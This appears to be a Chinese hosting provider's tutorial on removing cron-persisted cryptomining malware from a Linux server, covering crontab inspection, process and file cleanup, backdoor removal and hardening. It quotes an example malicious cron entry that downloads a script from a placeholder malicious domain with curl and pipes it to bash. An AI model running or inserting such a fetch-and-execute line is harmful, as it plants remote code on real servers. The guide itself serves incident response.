服务器被植入定时任务挖矿,如何彻底清除?

发现服务器不对劲?先别慌

突然发现服务器卡顿严重,用 top 一看 CPU 占用飙到 100%,而且名字很陌生(比如 xmrigkdevtmpfsi 或一串乱码)。
别急,这很可能是被植入了定时任务挖矿脚本。
挖矿病毒会通过弱口令、漏洞或插件后门进来,接着给自己加上定时任务,哪怕你杀了进程,过几分钟它又自动复活。
本文就教你从检查定时任务开始,一步步彻底清除挖矿脚本。

第一步:准备工作

动手之前,建议先做两件事:

  • 备份关键数据:如果你有重要业务数据,先快照或拷贝一份到安全位置。
  • 登录方式:通过 SSH 用 root 账号登录(普通用户可能没权限查看所有定时任务)。

准备好后,开始动手。

第二步:揪出所有潜伏的定时任务

挖矿脚本最常用的持久化手段就是 crontab
用以下命令查看当前用户的定时任务:

crontab -l

如果返回空,别放松。
系统还有全局定时任务,重点检查这几个文件:

cat /etc/crontab
ls /etc/cron.d/
ls /var/spool/cron/crontabs/

另外,很多挖矿脚本会躲在 /etc/cron.hourly//etc/cron.daily/ 等路径下。
运行 ls -la /etc/cron* 看看有没有异常脚本。

常见恶意定时任务示例

*/5 * * * * curl -s http://恶意域名/x.sh | bash
*/15 * * * * /tmp/.systemd/update.sh

看到这样的内容,立刻记录下域名或路径,下一步就要追查并删除。

第三步:定位挖矿进程和恶意文件

先把挖矿进程抓住:

top -c   # 按 P 按 CPU 排序,记下 PID

比如 PID 是 12345,用 ls -l /proc/12345/exe 查看执行文件路径。
然后用 kill -9 12345 强杀进程。
但先别急着关终端——我们需要找到文件本体。

通常挖矿脚本会藏在这些位置:

  • /tmp/ 下以 . 开头的隐藏目录(如 /tmp/.X11-unix/
  • /var/tmp/ 下的随机名字文件夹
  • /root//home/ 下的可疑隐藏文件
  • 甚至伪装成系统命令如 /usr/bin/sshd/lib/systemd/systemd(用 file 命令检查是否为 ELF 二进制)

建议用 find 扫一遍近期修改的可疑文件:

find / -type f -name "*.sh" -mtime -3 2>/dev/null | grep -v -E "^(/proc|/sys|/dev)"

另外,很多挖矿病毒会创建后门用户或用 SSH 密钥持久化。
检查 /etc/passwd 里有没有陌生 uid=0 的用户,以及 /root/.ssh/authorized_keys 里是否有多余的公钥。

第四步:彻底清除并踩住复活点

杀了进程、删了定时任务还不够,因为很多挖矿脚本有守护进程或 inotify 监控,一发现 crontab 被删就重新写回去。
所以必须按顺序操作:

  1. 清除所有发现的定时任务:用 crontab -r 清空当前用户,并手动删除 /etc/crontab/etc/cron.d/ 下的恶意条目。
  2. 杀掉所有关联进程:用 pkill -f 恶意关键词ps aux | grep 恶意名 | awk '{print $2}' | xargs kill -9
  3. 删除恶意文件:找到后彻底删除 rm -rf /tmp/.恶意目录,如果提示“权限不足”则先用 chattr -i 去掉不可变属性。
  4. 清理后门:删除 /root/.ssh/authorized_keys 里的陌生公钥,或者直接禁用密码登录改用密钥。
  5. 封堵入口:检查 /etc/ld.so.preload 文件是否被植入,如果有则清空;检查系统有无可疑的定时器(systemctl list-timers)、systemd服务(systemctl list-units --state=running)。

还有一个隐藏极深的地方:/etc/rc.local/etc/init.d/ 下的启动脚本,以及 .bashrc.profile 等用户配置文件。
grep -r "恶意域名" /etc/ /root/ /home/ 2>/dev/null 全局搜索一下。

第五步:验证清理效果并加固

完成清理后,重启服务器或手动重启受影响的服务(比如 systemctl restart crond)。
然后持续观察一段时间:

watch -n 3 'ps aux --sort=-%cpu | head -10'

同时检查 crontab 是否又出现了恶意任务:

crontab -l && cat /etc/crontab

如果一切正常,建议做以下加固:

  • 修改所有常用密码(SSH、数据库、面板)为高复杂度密码
  • 升级系统软件包和 web 应用,修复已知漏洞
  • 安装 Fail2Ban 或云平台的安全组限制暴力破解
  • 关闭不需要的端口和 root 远程登录

高频问题与避坑

Q:为什么删了定时任务,过一会又出现了? 答:挖矿病毒通常有多个复活机制。
请检查 /etc/ld.so.preload 是否被劫持、是否有隐藏的 systemd timer、以及 /tmp 下是否有监控文件变化的后门脚本。

Q:误删了系统文件怎么办? 答:操作前先备份。
如果已经删了,可以通过 yum/dnf 或 apt 重新安装对应软件包来恢复。

Q:进程杀不掉怎么办? 答:可能进程处于 D 状态(磁盘不可中断等待),重启服务器即可。
如果重启后依然出现,说明启动项没清理干净,回头重点检查 systemd 服务和 cron。

Q:怎么预防下次不被植入? 答:除了加固密码,建议关闭匿名 FTP、Redis 等未授权访问服务,定期用 chkrootkit 或 rkhunter 扫描系统。

如果你正在处理服务器被植入定时任务挖矿的问题,建议先按本文步骤完整执行,再根据自己的环境做微调。
遇到异常时,优先回看避坑和高频问题部分,多数情况下都能找到原因。
清理干净后,务必做好日常监控和日志审计,不给挖矿脚本第二次机会。

分享到:
上一篇
宝塔面板数据库备份文件损坏,如何恢复?
下一篇
用 AI 写运维自动化脚本,导致系统资源耗尽
1
系统公告

泽御云五一特惠活动🔥

泽御云持证合规运营,资质齐全可查,长久稳定! 五一限时多重福利同步开启: ✅ 香港 2 核 2G 云服务器超值拼团,低价入手团长免费 ✅ 4 核 4G 多机房年付拼团,性价比拉满 ✅ 内蒙古新区限时 7 折(zeyuyunnmg)特惠,专属优惠码锁价续费 ✅ 全站通用 75 折优惠,老用户充值享专属赠金 官方站点:zeyuyun.com 合规资质齐全|售后有保障|活动限时错过不再有
服务中心
客服
在线客服
24小时为您服务
咨询
联系我们
联系我们,为您的业务提供专属服务。
24/7 技术支持
如果您遇到寻求进一步的帮助,请过工单与我们进行联系。
24/7 即时支持
泽御云
售前客服
泽御云
泽御云
售后客服
泽御云
技术支持
评价
您对当前页面的整体感受是否满意?
😞
非常不满意
😕
不满意
😐
一般
🙂
满意
😊
非常满意